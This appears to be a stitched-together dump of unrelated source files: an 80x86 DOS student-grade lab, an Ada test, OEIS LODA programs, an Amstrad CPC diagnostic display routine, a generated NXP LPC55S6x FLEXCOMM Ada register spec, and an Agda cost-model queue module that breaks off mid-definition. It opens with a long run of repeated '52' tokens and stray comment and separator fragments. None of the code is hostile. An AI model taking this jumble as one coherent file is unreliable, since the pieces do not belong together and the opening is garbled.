52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
|
3-Assemble(80x86)/lab-2/lab2.asm | ftxj/4th-Semester | 0 | 21151 | .386
STACK SEGMENT USE16 STACK
DB 300 DUP(0)
STACK ENDS
DATA SEGMENT USE16
N EQU 30
POIN DW 0
BUF DB 'zhangsan', 0, 0
DB 0, 0, 0, ?
DB 'lisi', 6 DUP(0)
DB 80, 100, 70, ?
DB 'B',0,0,0,0,0,0,0,0,0
DB 10, 20, 12, ?
DB N-4 DUP('TempValue',0, 80, 90, 95, ?)
DB 'xinjie', 0, 0, 0, 0
DB 100, 100, 100, ?
IN_NAME DB 10
DB 0
DB 10 DUP(0)
STRING DB 300 DUP(0)
CRLF DB 0DH, 0AH, '$'
MSG1 DB 0AH, 0DH, 'Please Input Name :$'
MSG2 DB 0AH, 0DH, 'Not Find This Student!:$'
MSG3 DB 'Rank: '
DIVID DB 7 DUP(0)
db 7 dup(1)
db 7 dup(2)
db 7 dup(3)
db 7 dup(4)
db 7 dup(5)
db 7 dup(6)
db 7 dup(7)
db 7 dup(8)
db 7 dup(9)
db 7 dup(10)
db 7 dup(11)
db 7 dup(12)
db 7 dup(13)
db 7 dup(14)
db 7 dup(15)
db 7 dup(16)
db 7 dup(17)
db 7 dup(18)
db 7 dup(19)
db 7 dup(20)
db 7 dup(21)
db 7 dup(22)
db 7 dup(23)
db 7 dup(24)
db 7 dup(25)
db 7 dup(26)
db 7 dup(27)
db 7 dup(28)
db 7 dup(29)
db 7 dup(30)
db 7 dup(31)
db 7 dup(32)
db 7 dup(33)
db 7 dup(34)
db 7 dup(35)
db 7 dup(36)
db 7 dup(37)
db 7 dup(38)
db 7 dup(39)
db 7 dup(40)
db 7 dup(41)
db 7 dup(42)
db 7 dup(43)
db 7 dup(44)
db 7 dup(45)
db 7 dup(46)
db 7 dup(47)
db 7 dup(48)
db 7 dup(49)
db 7 dup(50)
db 7 dup(51)
db 7 dup(52)
db 7 dup(53)
db 7 dup(54)
db 7 dup(55)
db 7 dup(56)
db 7 dup(57)
db 7 dup(58)
db 7 dup(59)
db 7 dup(60)
db 7 dup(61)
db 7 dup(62)
db 7 dup(63)
db 7 dup(64)
db 7 dup(65)
db 7 dup(66)
db 7 dup(67)
db 7 dup(68)
db 7 dup(69)
db 7 dup(70)
db 7 dup(71)
db 7 dup(72)
db 7 dup(73)
db 7 dup(74)
db 7 dup(75)
db 7 dup(76)
db 7 dup(77)
db 7 dup(78)
db 7 dup(79)
db 7 dup(80)
db 7 dup(81)
db 7 dup(82)
db 7 dup(83)
db 7 dup(84)
db 7 dup(85)
db 7 dup(86)
db 7 dup(87)
db 7 dup(88)
db 7 dup(89)
db 7 dup(90)
db 7 dup(91)
db 7 dup(92)
db 7 dup(93)
db 7 dup(94)
db 7 dup(95)
db 7 dup(96)
db 7 dup(97)
db 7 dup(98)
db 7 dup(99)
db 7 dup(100)
DATA ENDS
CODE SEGMENT USE16
ASSUME DS:DATA, CS:CODE, SS:STACK
START:
MOV AX, DATA
MOV DS, AX
INPUT:
MOV DX, OFFSET MSG1
MOV AH, 9
INT 21H ;功能一一小题
LEA DX, IN_NAME
MOV AH, 10
INT 21H ;功能一二小题
MOV BL, IN_NAME + 1
MOV BH, IN_NAME + 2
CMP BL, 0
JE INPUT
CMP BH, 'q'
JE DIE ;功能一 三小题
MOV BH, 0
MOV CX, 10
SUB CX, BX
PP: MOV [IN_NAME + BX + 2], 0
INC BX
LOOP PP
mov ax,0
call TIMER
mov cx, 5000
work1:
push cx
MOV DI, -14
FIND:
MOV CX, N
ADD DI, 14
FIND_S:
MOV EAX, DWORD PTR [IN_NAME + 2]
CMP EAX, DWORD PTR [BUF + DI]
JNE CON
MOV EBX, DWORD PTR [IN_NAME + 6]
CMP EBX, DWORD PTR [BUF + DI + 4]
JNE CON
MOV DX, WORD PTR [IN_NAME + 10]
CMP DX, WORD PTR [BUF + DI + 8]
JE SUCCESS_FIND
CON: CMP CX, 0
JE NOT_FIND
LOOP FIND
DIE:
MOV AH, 4CH
INT 21H
NOT_FIND:
MOV DX, OFFSET MSG2
MOV AH, 9
INT 21H
JMP INPUT
SUCCESS_FIND:
MOV WORD PTR [POIN], OFFSET BUF + 10
ADD WORD PTR [POIN], DI
CALL SET_AVERANGE_GRADE
pop cx
loop work1
mov ax,1
call TIMER
CALL G_ABCD
JMP INPUT
G_ABCD:
PUSH AX
PUSH DX
PUSH SI
MOV SI, [POIN]
ADD SI, 3
MOV AX, [SI]
MOV AH, 0
SUB AL, 90
JS G_BCD
MOV DL, 'A'
JMP SCREEN
G_BCD:
MOV AX, [SI]
MOV AH, 0
SUB AL, 80
JS G_CD
MOV DL, 'B'
JMP SCREEN
G_CD:
MOV AX, [SI]
MOV AH, 0
SUB AL, 70
JS G_D
MOV DL, 'C'
JMP SCREEN
G_D:
MOV DL, 'D'
JMP SCREEN
SCREEN:
MOV AH, 2
INT 21H
POP SI
POP DX
POP AX
RET
SET_AVERANGE_GRADE:
MOV SI, 10
MOV CX, N
MATH:
MOV EDX, DWORD PTR [BUF + SI]
MOVZX BX, DL ;Chinese Grade
SHL BX, 1
MOVZX AX, DH ;MATH GRADE
ADD BX, AX
SHR EDX, 8
MOV AL, DH ;ENGLISH
SHR AX, 1
ADD BX, AX
SHL BX, 1
MOVZX AX, BYTE PTR [BX + DIVID]
MOV [BUF + SI + 3], AL
ADD SI, 14
LOOP MATH
RET
;时间计数器(ms),在屏幕上显示程序的执行时间(ms)
;使用方法:
; MOV AX, 0 ;表示开始计时
; CALL TIMER
; ... ... ;需要计时的程序
; MOV AX, 1
; CALL TIMER ;终止计时并显示计时结果(ms)
;输出: 改变了AX和状态寄存器
TIMER PROC
PUSH DX
PUSH CX
PUSH BX
MOV BX, AX
MOV AH, 2CH
INT 21H ;CH=hour(0-23),CL=minute(0-59),DH=second(0-59),DL=centisecond(0-100)
MOV AL, DH
MOV AH, 0
IMUL AX,AX,1000
MOV DH, 0
IMUL DX,DX,10
ADD AX, DX
CMP BX, 0
JNZ _T1
MOV CS:_TS, AX
_T0: POP BX
POP CX
POP DX
RET
_T1: SUB AX, CS:_TS
JNC _T2
ADD AX, 60000
_T2: MOV CX, 0
MOV BX, 10
_T3: MOV DX, 0
DIV BX
PUSH DX
INC CX
CMP AX, 0
JNZ _T3
MOV BX, 0
_T4: POP AX
ADD AL, '0'
MOV CS:_TMSG[BX], AL
INC BX
LOOP _T4
PUSH DS
MOV CS:_TMSG[BX+0], 0AH
MOV CS:_TMSG[BX+1], 0DH
MOV CS:_TMSG[BX+2], '$'
LEA DX, _TS+2
PUSH CS
POP DS
MOV AH, 9
INT 21H
POP DS
JMP _T0
_TS DW ?
DB 0AH, 0DH, 'Time elapsed in ms is '
_TMSG DB 12 DUP(0)
TIMER ENDP
CODE ENDS
END START
|
tests/nonsmoke/functional/CompileTests/experimental_ada_tests/tests/dynamic_array.adb | ouankou/rose | 488 | 19653 | procedure dynamic_array is
type OpenArray is array (Natural range <>) of Integer;
subtype ShortArray is OpenArray(1..4);
type ItemArray is access ShortArray;
Items : ItemArray := new ShortArray;
begin
Items.all := ShortArray'(others => 0);
end dynamic_array;
|
oeis/179/A179905.asm | neoneye/loda-programs | 11 | 176415 | ; A179905: (1, 4, 7, 10, 13,...) convolved with (1, 0, 4, 7, 10, 13...); given A016777 = (1, 4, 7, 10, 13,...).
; Submitted by <NAME>(s4)
; 1,4,11,33,79,158,279,451,683,984,1363,1829,2391,3058,3839,4743,5779,6956,8283,9769,11423,13254,15271,17483,19899,22528,25379,28461,31783,35354,39183,43279,47651,52308,57259,62513,68079,73966,80183,86739,93643,100904,108531,116533,124919,133698,142879,152471,162483,172924,183803,195129,206911,219158,231879,245083,258779,272976,287683,302909,318663,334954,351791,369183,387139,405668,424779,444481,464783,485694,507223,529379,552171,575608,599699,624453,649879,675986,702783,730279,758483,787404
mov $4,$0
lpb $0
mov $0,0
add $1,2
lpe
mov $2,$4
add $2,8
add $1,$2
mov $3,$4
bin $3,2
mul $3,$4
mov $2,$3
mul $2,3
add $1,$2
mov $0,$1
sub $0,7
|
oeis/027/A027024.asm | neoneye/loda-programs | 11 | 1099 | <reponame>neoneye/loda-programs
; A027024: a(n) = T(n,n+2), T given by A027023.
; Submitted by <NAME>(s4)
; 1,5,13,27,53,101,189,351,649,1197,2205,4059,7469,13741,25277,46495,85521,157301,289325,532155,978789,1800277,3311229,6090303,11201817,20603357,37895485,69700667,128199517,235795677,433695869,797691071,1467182625,2698569573,4963443277,9129195483,16791208341,30883847109,56804250941,104479306399,192167404457,353450961805,650097672669,1195716038939,2199264673421,4045078385037,7440059097405,13684402155871,25169539638321,46294000891605,85147942685805,156611483215739,288053426793157,529812852694709
add $0,2
seq $0,8937 ; a(n) = Sum_{k=0..n} T(k) where T(n) are the tribonacci numbers A000073.
mul $0,2
sub $0,3
|
oeis/145/A145543.asm | neoneye/loda-programs | 11 | 244665 | ; A145543: Denominators in continued fraction expansion of sqrt(3/5).
; Submitted by <NAME>
; 1,4,9,31,71,244,559,1921,4401,15124,34649,119071,272791,937444,2147679,7380481,16908641,58106404,133121449,457470751,1048062951,3601659604,8251382159,28355806081,64962994321,223244789044,511452572409,1757602506271,4026657584951
seq $0,41022 ; Numerators of continued fraction convergents to sqrt(15).
dif $0,3
|
src/DisplayFailingBits.asm | gschizas/amstrad-diagnostics | 60 | 21390 | <gh_stars>10-100
INCLUDE "Colors.asm"
ColorBackground EQU ColorBlack
ColorNumber EQU ColorWhite
ColorGood EQU ColorLime
ColorBad EQU ColorBrightRed
DisplayFailingBits:
di
; Turn the whole screen into a giant border
; out &bc00,6:out &bd00,0
ld bc,#bc06
out (c),c
ld bc,#bd00
out (c),c
;; Select color 0 register
ld bc, #7F00
out (c), c
ld c, ColorBlack
out (c), c
; Wait for Vsync
.frameLoop:
ld b,#f5
.vbLoop1
in a,(c)
rra
jr c,.vbLoop1
.vbLoop2
in a,(c)
rra
jr nc,.vbLoop2
;; Select Border color register
ld bc, #7F10
out (c), c
ld c, ColorBackground
out (c), c
ld bc, #6103
.waitLoop:
djnz .waitLoop ; [3]
dec c ; [1]
jr nz, .waitLoop ; [3]
ld bc, #7F10
out (c), c
ld c, ColorBackground
ld h, ColorNumber
; out (c), h
DEFINE F #ed,#61,
; out (c), c
DEFINE _ #ed,#49,
; out (c), l
DEFINE B #ed,#69,
DEFINE EOL , #ed,#49, #ed,#49
/*
ld a,#f ; [2]
.testLoop:
dec a ; [1]
jr nz,.testLoop ; [3] / [2]
nop
nop
nop
*/
DEFINE WAIT16 #3E, #0f, #3D, #20, #fD, 0, 0, 0
DEFINE WAIT12 #3E, #0b, #3D, #20, #fD, 0, 0, 0
DEFINE WAIT9 #3E, #08, #3D, #20, #fD, 0, 0, 0
INCLUDE "ColorChange.asm"
db WAIT16
db WAIT16
db WAIT16
; 0
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db WAIT16
db WAIT16
db WAIT12
INCLUDE "ColorChange.asm"
; 1
db _ F _ _ WAIT12
db _ F _ _ WAIT12
db _ F _ _ WAIT12
db _ F _ _ WAIT12
db _ F _ _ WAIT12
db _ F _ _ WAIT12
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ B WAIT9 EOL
db _ F _ _ WAIT12
db _ F _ _ WAIT12
db _ F _ _ WAIT12
db _ F _ _ WAIT12
db _ F _ _ WAIT12
db _ F _ _ WAIT12
db WAIT16
db WAIT16
db WAIT12
INCLUDE "ColorChange.asm"
; 2
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db WAIT16
db WAIT16
db WAIT12
INCLUDE "ColorChange.asm"
; 3
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db WAIT16
db WAIT16
db WAIT12
INCLUDE "ColorChange.asm"
; 4
db F _ F _ WAIT12
db F _ F _ WAIT12
db F _ F _ WAIT12
db F _ F _ WAIT12
db F _ F _ WAIT12
db F _ F _ WAIT12
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ WAIT12
db _ _ F _ WAIT12
db _ _ F _ WAIT12
db _ _ F _ WAIT12
db _ _ F _ WAIT12
db _ _ F _ WAIT12
db WAIT16
db WAIT16
db WAIT12
INCLUDE "ColorChange.asm"
; 5
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F _ _ _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db WAIT16
db WAIT16
db WAIT12
INCLUDE "ColorChange.asm"
; 6
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F _ _ _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F _ _ _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F F F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F _ F _ B WAIT9 EOL
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db WAIT16
db WAIT16
db WAIT12
INCLUDE "ColorChange.asm"
; 7
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db F F F _ WAIT12
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ B WAIT9 EOL
db _ _ F _ WAIT12
db _ _ F _ WAIT12
db _ _ F _ WAIT12
db _ _ F _ WAIT12
db _ _ F _ WAIT12
db _ _ F _ WAIT12
UNDEFINE F
UNDEFINE _
UNDEFINE B
UNDEFINE EOL
nop
nop
nop
nop
nop
nop
jp .frameLoop
|
libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_dlt_s.asm | jpoikela/z88dk | 640 | 243160 |
SECTION code_clib
SECTION code_fp_math48
PUBLIC asm_dlt_s
EXTERN am48_dlt_s
defc asm_dlt_s = am48_dlt_s
|
oeis/052/A052972.asm | neoneye/loda-programs | 11 | 164031 | ; A052972: Expansion of (1-x^3)/(1-x-x^2-x^3+x^5).
; Submitted by <NAME>
; 1,1,2,3,6,10,18,32,57,101,180,320,569,1012,1800,3201,5693,10125,18007,32025,56956,101295,180151,320395,569816,1013406,1802322,3205393,5700726,10138625,18031338,32068367,57032937,101431916,180394595
add $0,1
mov $5,1
lpb $0
sub $0,1
add $1,$5
add $1,1
sub $4,$5
mul $4,$2
mov $3,$4
mov $4,$2
mov $2,$1
div $3,$1
mov $1,$3
add $1,$5
max $1,1
sub $4,1
add $5,$4
lpe
mov $0,$2
sub $0,1
|
arch/ARM/NXP/svd/lpc55s6x/nxp_svd-flexcomm.ads | morbos/Ada_Drivers_Library | 2 | 13619 | <filename>arch/ARM/NXP/svd/lpc55s6x/nxp_svd-flexcomm.ads
-- Copyright 2016-2019 NXP
-- All rights reserved.SPDX-License-Identifier: BSD-3-Clause
-- This spec has been automatically generated from LPC55S6x.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with HAL;
with System;
package NXP_SVD.FLEXCOMM is
pragma Preelaborate;
---------------
-- Registers --
---------------
-- Peripheral Select. This field is writable by software.
type PSELID_PERSEL_Field is
(
-- No peripheral selected.
No_Periph_Selected,
-- USART function selected.
Usart,
-- SPI function selected.
Spi,
-- I2C function selected.
I2C,
-- I2S transmit function selected.
I2S_Transmit,
-- I2S receive function selected.
I2S_Receive)
with Size => 3;
for PSELID_PERSEL_Field use
(No_Periph_Selected => 0,
Usart => 1,
Spi => 2,
I2C => 3,
I2S_Transmit => 4,
I2S_Receive => 5);
-- Lock the peripheral select. This field is writable by software.
type PSELID_LOCK_Field is
(
-- Peripheral select can be changed by software.
Unlocked,
-- Peripheral select is locked and cannot be changed until this Flexcomm
-- or the entire device is reset.
Locked)
with Size => 1;
for PSELID_LOCK_Field use
(Unlocked => 0,
Locked => 1);
-- USART present indicator. This field is Read-only.
type PSELID_USARTPRESENT_Field is
(
-- This Flexcomm does not include the USART function.
Not_Present,
-- This Flexcomm includes the USART function.
Present)
with Size => 1;
for PSELID_USARTPRESENT_Field use
(Not_Present => 0,
Present => 1);
-- SPI present indicator. This field is Read-only.
type PSELID_SPIPRESENT_Field is
(
-- This Flexcomm does not include the SPI function.
Not_Present,
-- This Flexcomm includes the SPI function.
Present)
with Size => 1;
for PSELID_SPIPRESENT_Field use
(Not_Present => 0,
Present => 1);
-- I2C present indicator. This field is Read-only.
type PSELID_I2CPRESENT_Field is
(
-- This Flexcomm does not include the I2C function.
Not_Present,
-- This Flexcomm includes the I2C function.
Present)
with Size => 1;
for PSELID_I2CPRESENT_Field use
(Not_Present => 0,
Present => 1);
-- I 2S present indicator. This field is Read-only.
type PSELID_I2SPRESENT_Field is
(
-- This Flexcomm does not include the I2S function.
Not_Present,
-- This Flexcomm includes the I2S function.
Present)
with Size => 1;
for PSELID_I2SPRESENT_Field use
(Not_Present => 0,
Present => 1);
subtype PSELID_ID_Field is HAL.UInt20;
-- Peripheral Select and Flexcomm ID register.
type PSELID_Register is record
-- Peripheral Select. This field is writable by software.
PERSEL : PSELID_PERSEL_Field :=
NXP_SVD.FLEXCOMM.No_Periph_Selected;
-- Lock the peripheral select. This field is writable by software.
LOCK : PSELID_LOCK_Field := NXP_SVD.FLEXCOMM.Unlocked;
-- Read-only. USART present indicator. This field is Read-only.
USARTPRESENT : PSELID_USARTPRESENT_Field :=
NXP_SVD.FLEXCOMM.Not_Present;
-- Read-only. SPI present indicator. This field is Read-only.
SPIPRESENT : PSELID_SPIPRESENT_Field := NXP_SVD.FLEXCOMM.Not_Present;
-- Read-only. I2C present indicator. This field is Read-only.
I2CPRESENT : PSELID_I2CPRESENT_Field := NXP_SVD.FLEXCOMM.Not_Present;
-- Read-only. I 2S present indicator. This field is Read-only.
I2SPRESENT : PSELID_I2SPRESENT_Field := NXP_SVD.FLEXCOMM.Not_Present;
-- unspecified
Reserved_8_11 : HAL.UInt4 := 16#0#;
-- Read-only. Flexcomm ID.
ID : PSELID_ID_Field := 16#101#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PSELID_Register use record
PERSEL at 0 range 0 .. 2;
LOCK at 0 range 3 .. 3;
USARTPRESENT at 0 range 4 .. 4;
SPIPRESENT at 0 range 5 .. 5;
I2CPRESENT at 0 range 6 .. 6;
I2SPRESENT at 0 range 7 .. 7;
Reserved_8_11 at 0 range 8 .. 11;
ID at 0 range 12 .. 31;
end record;
subtype PID_APERTURE_Field is HAL.UInt8;
subtype PID_MINOR_REV_Field is HAL.UInt4;
subtype PID_MAJOR_REV_Field is HAL.UInt4;
subtype PID_ID_Field is HAL.UInt16;
-- Peripheral identification register.
type PID_Register is record
-- Read-only. size aperture for the register port on the bus (APB or
-- AHB).
APERTURE : PID_APERTURE_Field;
-- Read-only. Minor revision of module implementation.
MINOR_REV : PID_MINOR_REV_Field;
-- Read-only. Major revision of module implementation.
MAJOR_REV : PID_MAJOR_REV_Field;
-- Read-only. Module identifier for the selected function.
ID : PID_ID_Field;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PID_Register use record
APERTURE at 0 range 0 .. 7;
MINOR_REV at 0 range 8 .. 11;
MAJOR_REV at 0 range 12 .. 15;
ID at 0 range 16 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- Flexcomm serial communication
type FLEXCOMM_Peripheral is record
-- Peripheral Select and Flexcomm ID register.
PSELID : aliased PSELID_Register;
-- Peripheral identification register.
PID : aliased PID_Register;
end record
with Volatile;
for FLEXCOMM_Peripheral use record
PSELID at 16#FF8# range 0 .. 31;
PID at 16#FFC# range 0 .. 31;
end record;
-- Flexcomm serial communication
FLEXCOMM0_Periph : aliased FLEXCOMM_Peripheral
with Import, Address => System'To_Address (16#40086000#);
-- Flexcomm serial communication
FLEXCOMM1_Periph : aliased FLEXCOMM_Peripheral
with Import, Address => System'To_Address (16#40087000#);
-- Flexcomm serial communication
FLEXCOMM2_Periph : aliased FLEXCOMM_Peripheral
with Import, Address => System'To_Address (16#40088000#);
-- Flexcomm serial communication
FLEXCOMM3_Periph : aliased FLEXCOMM_Peripheral
with Import, Address => System'To_Address (16#40089000#);
-- Flexcomm serial communication
FLEXCOMM4_Periph : aliased FLEXCOMM_Peripheral
with Import, Address => System'To_Address (16#4008A000#);
-- Flexcomm serial communication
FLEXCOMM5_Periph : aliased FLEXCOMM_Peripheral
with Import, Address => System'To_Address (16#40096000#);
-- Flexcomm serial communication
FLEXCOMM6_Periph : aliased FLEXCOMM_Peripheral
with Import, Address => System'To_Address (16#40097000#);
-- Flexcomm serial communication
FLEXCOMM7_Periph : aliased FLEXCOMM_Peripheral
with Import, Address => System'To_Address (16#40098000#);
-- Flexcomm serial communication
FLEXCOMM8_Periph : aliased FLEXCOMM_Peripheral
with Import, Address => System'To_Address (16#4009F000#);
end NXP_SVD.FLEXCOMM;
|
alloy4fun_models/trashltl/models/9/39ghxD27cHXvfYiBm.als | Kaixi26/org.alloytools.alloy | 0 | 2426 | <gh_stars>0
open main
pred id39ghxD27cHXvfYiBm_prop10 {
always all f: Protected | always f not in Trash and always f not in File
}
pred __repair { id39ghxD27cHXvfYiBm_prop10 }
check __repair { id39ghxD27cHXvfYiBm_prop10 <=> prop10o } |
src/Examples/Queue.agda | jonsterling/agda-calf | 29 | 11551 | <filename>src/Examples/Queue.agda
{-# OPTIONS --prop --rewriting #-}
module Examples.Queue where
open import Calf.CostMonoid
open import Calf.CostMonoids using (ℕ-CostMonoid)
costMonoid = ℕ-CostMonoid
open CostMonoid costMonoid using (ℂ)
open import Calf costMonoid
open import Calf.Types.Nat
open import Calf.Types.Unit
open import Calf.Types.Sum
open import Calf.Types.Bounded costMonoid
open import Function
open import Data.Nat
open import Data.Nat.Properties
import Data.Integer as Int
import Data.Integer.Properties as IntP
open import Data.List renaming (sum to lsum)
open import Data.Product
open import Relation.Binary.PropositionalEquality as P
record Queue (A : tp pos) : Set where
field
Q : tp pos
emp : val Q
enq : cmp (Π Q λ _ → Π A λ _ → F Q)
deq : cmp (Π Q λ _ → F (sum unit (Σ++ Q λ _ → A)))
module CostList (A : tp pos) (n : ℕ) where
-- Suppose we want to implement the Queue signature above using lists.
-- One cost model is to count the number of times a cons node is inspected.
-- This is implemented by the following annotated list type:
-- destructing a cons node of type list n A consumes n steps.
postulate
list : tp pos
nil : val list
cons : val A → val list → val list
list/ind : (l : val list) → (X : val list → tp neg) → cmp (X nil) →
((a : val A) → (l : val list) → (r : val (U (X l))) →
cmp (X (cons a l))) →
cmp (X l)
list/ind/nil : ∀ {X} → (e0 : cmp (X nil)) →
(e1 : (a : val A) → (l : val list) → (r : val (U (X l))) →
cmp (X (cons a l))) →
list/ind nil X e0 e1 ≡ e0
{-# REWRITE list/ind/nil #-}
list/ind/cons : ∀ {X} → (a : val A) → (l : val list) → (e0 : cmp (X nil)) →
(e1 : (a : val A) → (l : val list) → (r : val (U (X l))) →
cmp (X (cons a l))) →
list/ind (cons a l) X e0 e1 ≡ step (X (cons a l)) n (e1 a l (list/ind l X e0 e1))
{-# REWRITE list/ind/cons #-}
list/match : (l : val list) → (X : val list → tp neg) → cmp (X nil) →
((a : val A) → (l : val list) → cmp (X (cons a l))) →
cmp (X l)
